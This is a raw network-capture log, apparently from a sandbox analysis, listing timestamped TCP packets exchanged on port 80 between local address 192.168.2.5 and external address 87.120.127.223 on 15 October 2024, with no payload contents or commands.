Oct 15, 2024 19:22:13.761492014 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:13.761507988 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:13.761540890 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:13.761567116 CEST	49705	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:13.762135029 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:13.762192011 CEST	49705	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:13.765079975 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:13.765942097 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:13.766038895 CEST	49705	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:13.798623085 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:13.798688889 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:13.798707008 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:13.798794985 CEST	49705	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:13.799223900 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:13.799240112 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:13.799287081 CEST	49705	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:13.799539089 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:13.799555063 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:13.799593925 CEST	49705	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:13.799629927 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:13.799644947 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:13.799670935 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:13.799678087 CEST	49705	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:13.799693108 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:13.799715042 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:13.799715042 CEST	49705	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:13.799757957 CEST	49705	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:13.799864054 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:13.799879074 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:13.799911022 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:13.799923897 CEST	49705	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:13.800393105 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:13.800407887 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:13.800435066 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:13.800448895 CEST	49705	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:13.800457954 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:13.800482988 CEST	49705	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:13.801109076 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:13.801125050 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:13.801161051 CEST	49705	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:13.801162958 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:13.801183939 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:13.801209927 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:13.801212072 CEST	49705	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:13.801232100 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:13.801251888 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:13.801253080 CEST	49705	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:13.801295042 CEST	49705	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:13.850651026 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:13.850666046 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:13.850693941 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:13.850729942 CEST	49705	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:13.852967978 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:13.852996111 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:13.853014946 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:13.853023052 CEST	49705	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:13.853039980 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:13.853060961 CEST	49705	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:13.853063107 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:13.853081942 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:13.853106022 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:13.853115082 CEST	49705	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:13.853123903 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:13.853154898 CEST	49705	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:13.853161097 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:13.853176117 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:13.853213072 CEST	49705	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:13.853233099 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:13.853277922 CEST	49705	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:13.879733086 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:13.879748106 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:13.879755974 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:13.880017996 CEST	49705	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:13.916974068 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:13.917004108 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:13.917020082 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:13.917047024 CEST	49705	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:13.917085886 CEST	49705	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:13.917112112 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:13.917135954 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:13.917157888 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:13.917181969 CEST	49705	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:13.917253971 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:13.917268038 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:13.917309046 CEST	49705	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:13.917428017 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:13.917444944 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:13.917474985 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:13.917483091 CEST	49705	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:13.917524099 CEST	49705	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:13.917542934 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:13.917598009 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:13.917613983 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:13.917646885 CEST	49705	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:13.918118000 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:13.918131113 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:13.918164015 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:13.918174028 CEST	49705	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:13.918184996 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:13.918207884 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:13.918209076 CEST	49705	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:13.918236971 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:13.918246031 CEST	49705	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:13.918379068 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:13.918409109 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:13.918431997 CEST	49705	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:13.918467999 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:13.918482065 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:13.918509960 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:13.918519974 CEST	49705	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:13.918528080 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:13.918555975 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:13.918560982 CEST	49705	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:13.918576002 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:13.918596983 CEST	49705	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:13.918610096 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:13.918637037 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:13.918653011 CEST	49705	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:13.919086933 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:13.919101954 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:13.919127941 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:13.919140100 CEST	49705	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:13.919147015 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:13.919173002 CEST	49705	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:13.962753057 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:13.962922096 CEST	49705	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:13.964430094 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:13.965343952 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:13.965357065 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:13.965380907 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:13.965408087 CEST	49705	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:13.965442896 CEST	49705	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:13.974518061 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:13.974531889 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:13.974558115 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:13.974582911 CEST	49705	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:13.974627018 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:13.974642038 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:13.974669933 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:13.974684000 CEST	49705	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:13.974690914 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:13.974710941 CEST	49705	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:13.974781036 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:13.974826097 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:13.974832058 CEST	49705	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:13.974847078 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:13.974890947 CEST	49705	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:13.999847889 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:13.999862909 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:13.999871016 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:13.999944925 CEST	49705	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:14.036582947 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:14.036611080 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:14.036636114 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:14.036653042 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:14.036664009 CEST	49705	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:14.036679983 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:14.036700964 CEST	49705	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:14.036706924 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:14.036726952 CEST	49705	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:14.036731005 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:14.036782026 CEST	49705	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:14.036839962 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:14.036855936 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:14.036883116 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:14.036905050 CEST	49705	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:14.036907911 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:14.036952019 CEST	49705	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:14.036988020 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:14.037153006 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:14.037168026 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:14.037192106 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:14.037206888 CEST	49705	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:14.037214994 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:14.037236929 CEST	49705	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:14.037237883 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:14.037261009 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:14.037281990 CEST	49705	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:14.037286043 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:14.037307978 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:14.037337065 CEST	49705	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:14.037338972 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:14.037379980 CEST	49705	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:14.037524939 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:14.037538052 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:14.037580967 CEST	49705	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:14.038584948 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:14.038602114 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:14.038628101 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:14.038645983 CEST	49705	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:14.038727999 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:14.038743973 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:14.038773060 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:14.038779974 CEST	49705	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:14.038794041 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:14.038817883 CEST	49705	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:14.039940119 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:14.039989948 CEST	49705	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:14.085071087 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:14.085206985 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:14.085225105 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:14.085267067 CEST	49705	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:14.088392973 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:14.088423967 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:14.088438034 CEST	49705	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:14.088443995 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:14.088483095 CEST	49705	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:14.093321085 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:14.093383074 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:14.093404055 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:14.093425989 CEST	49705	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:14.093521118 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:14.093539953 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:14.093564987 CEST	49705	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:14.093565941 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:14.093588114 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:14.093607903 CEST	49705	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:14.093736887 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:14.093750954 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:14.093782902 CEST	49705	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:14.093785048 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:14.093802929 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:14.093826056 CEST	49705	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:14.118079901 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:14.118138075 CEST	49705	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:14.118272066 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:14.118287086 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:14.118335962 CEST	49705	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:14.154933929 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:14.154948950 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:14.154975891 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:14.154989958 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:14.155025005 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:14.155039072 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:14.155055046 CEST	49705	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:14.155055046 CEST	49705	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:14.155071020 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:14.155096054 CEST	49705	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:14.155145884 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:14.155196905 CEST	49705	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:14.155225039 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:14.155239105 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:14.155289888 CEST	49705	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:14.155740976 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:14.155893087 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:14.155921936 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:14.155937910 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:14.155944109 CEST	49705	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:14.155965090 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:14.155987978 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:14.155989885 CEST	49705	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:14.156002045 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:14.156028986 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:14.156033993 CEST	49705	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:14.156047106 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:14.156075001 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:14.156075954 CEST	49705	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:14.156095028 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:14.156121969 CEST	49705	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:14.156151056 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:14.156166077 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:14.156197071 CEST	49705	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:14.156198025 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:14.156213999 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:14.156239033 CEST	49705	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:14.156440020 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:14.156523943 CEST	49705	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:14.156630993 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:14.156975031 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:14.157011032 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:14.157025099 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:14.157037973 CEST	49705	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:14.157066107 CEST	49705	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:14.157203913 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:14.157233953 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:14.157247066 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:14.157282114 CEST	49705	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:14.157310009 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:14.157355070 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:14.157360077 CEST	49705	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:14.157368898 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:14.157417059 CEST	49705	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:14.202871084 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:14.203159094 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:14.203224897 CEST	49705	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:14.206762075 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:14.206821918 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:14.206835032 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:14.206878901 CEST	49705	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:14.212590933 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:14.212658882 CEST	49705	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:14.212769032 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:14.212868929 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:14.212888002 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:14.212913036 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:14.212923050 CEST	49705	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:14.212965012 CEST	49705	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:14.213037968 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:14.213057995 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:14.213082075 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:14.213104010 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:14.213108063 CEST	49705	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:14.213156939 CEST	49705	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:14.213300943 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:14.236929893 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:14.236988068 CEST	49705	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:14.237104893 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:14.237119913 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:14.237145901 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:14.237159967 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:14.237184048 CEST	49705	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:14.237185955 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:14.237220049 CEST	49705	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:14.274480104 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:14.274518967 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:14.274537086 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:14.274571896 CEST	49705	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:14.274619102 CEST	49705	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:14.274652958 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:14.274671078 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:14.274694920 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:14.274717093 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:14.274729013 CEST	49705	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:14.274771929 CEST	49705	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:14.274925947 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:14.274940968 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:14.274969101 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:14.274986029 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:14.274991035 CEST	49705	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:14.275012970 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:14.275024891 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:14.275036097 CEST	49705	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:14.275088072 CEST	49705	80	192.168.2.5	87.120.127.223
